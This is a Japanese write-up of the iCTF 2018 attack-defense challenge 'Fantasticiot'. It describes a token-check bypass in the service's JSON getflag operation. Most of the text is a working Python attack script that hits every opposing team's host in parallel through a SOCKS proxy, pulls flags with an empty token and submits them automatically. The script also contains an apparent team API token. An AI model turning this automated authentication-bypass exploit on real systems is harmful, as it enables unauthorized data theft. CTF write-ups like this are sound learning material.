iCTF 2018: Fantasticiot
A&Dだと気付いたので参加した回。 順位が上のチームからしか攻撃点が得られないわりに点差が開かないため「最終tickまで順位調整しつつ潜伏しておいて最後にまとめてflag提出」が有効に見えた。 1位のチームはscoreboard hackを疑いたくなる点数取ってた。
solution
動いてるbinaryをrevすると入力がjsonであることが分かる。特に以下の4つを受け入れる。
op getflag
に存在する token
field はおそらく一致判定が必要なものであるが、これが何であれ結果が返ってきてしまうバグがある。他は見なくてよかった。
{
"service": "flag",
"op": "getflag",
"id": "${ID}",
"token": "${TOKEN}"
}
{
"service": "flag",
"op": "setflag",
"id": "${ID}",
"token": "${TOKEN}",
"flag": "${FLAG}"
}
{
"service": "fridge",
"op": "addfridge",
...
}
{
"service": "fridge",
"op": "getfridge",
...
}
implementation
与えられた hack_the_planet.py
を修正。
並列化しないとtimeout待ちで遅い。
#!/usr/bin/env python2
# This code was written 10 hours before the competition, yikes
# Any bugs are your problem
import socks # pip install PySocks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444)
socket.socket = socks.socksocket
from pwn import * # pip install pwntools
from swpag_client import Team # pip install swpag_client
import time
import concurrent.futures
import sys
team = Team(None, "SazPO4ahE9QQqQ21ryBe8UEL017vis7t")
def team_ip(team_host):
# 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ...
team_number = int(team_host[4:])
minor = ((team_number - 1) % 254) + 1
major = (team_number / 255) + 129
return '172.31.{major}.{minor}'.format(major=major, minor=minor)
import json
def pwn_fantasticiot(conn, flag_id):
payload = {
'service': 'flag',
'op': 'getflag',
'id': flag_id,
'token': '',
}
conn.sendline(json.dumps(payload))
result = json.loads(conn.recvline())
print result
return result['flag']
def attack_fantasticiot(ip, port, flag_id):
try:
with remote(ip, port, timeout=1) as conn:
if service['service_name'] == u'fantasticiot':
flag = pwn_fantasticiot(conn, flag_id)
else:
assert False
result = team.submit_flag([ flag ])
service_flag_ids[service['service_name']].add(flag_id)
print("HACKED", flag, result)
except Exception as e:
print("Error connecting to", target['team_name'], target['hostname'], ip, port)
print(e)
services = team.get_service_list()
service_flag_ids = dict()
while True:
for service in services:
if service['service_name'] != u'fantasticiot':
continue
print("Going to attack", service['service_name'])
if service['service_name'] not in service_flag_ids:
service_flag_ids[service['service_name']] = set()
targets = team.get_targets(service['service_id'])
with concurrent.futures.ThreadPoolExecutor() as executor:
for target in targets:
flag_id = target['flag_id']
ip = team_ip(target['hostname'])
port = target['port']
if flag_id not in service_flag_ids[service['service_name']]:
service_flag_ids[service['service_name']].add(flag_id)
executor.submit(attack_fantasticiot, ip, port, flag_id)
time.sleep(10) # DOS is against the rules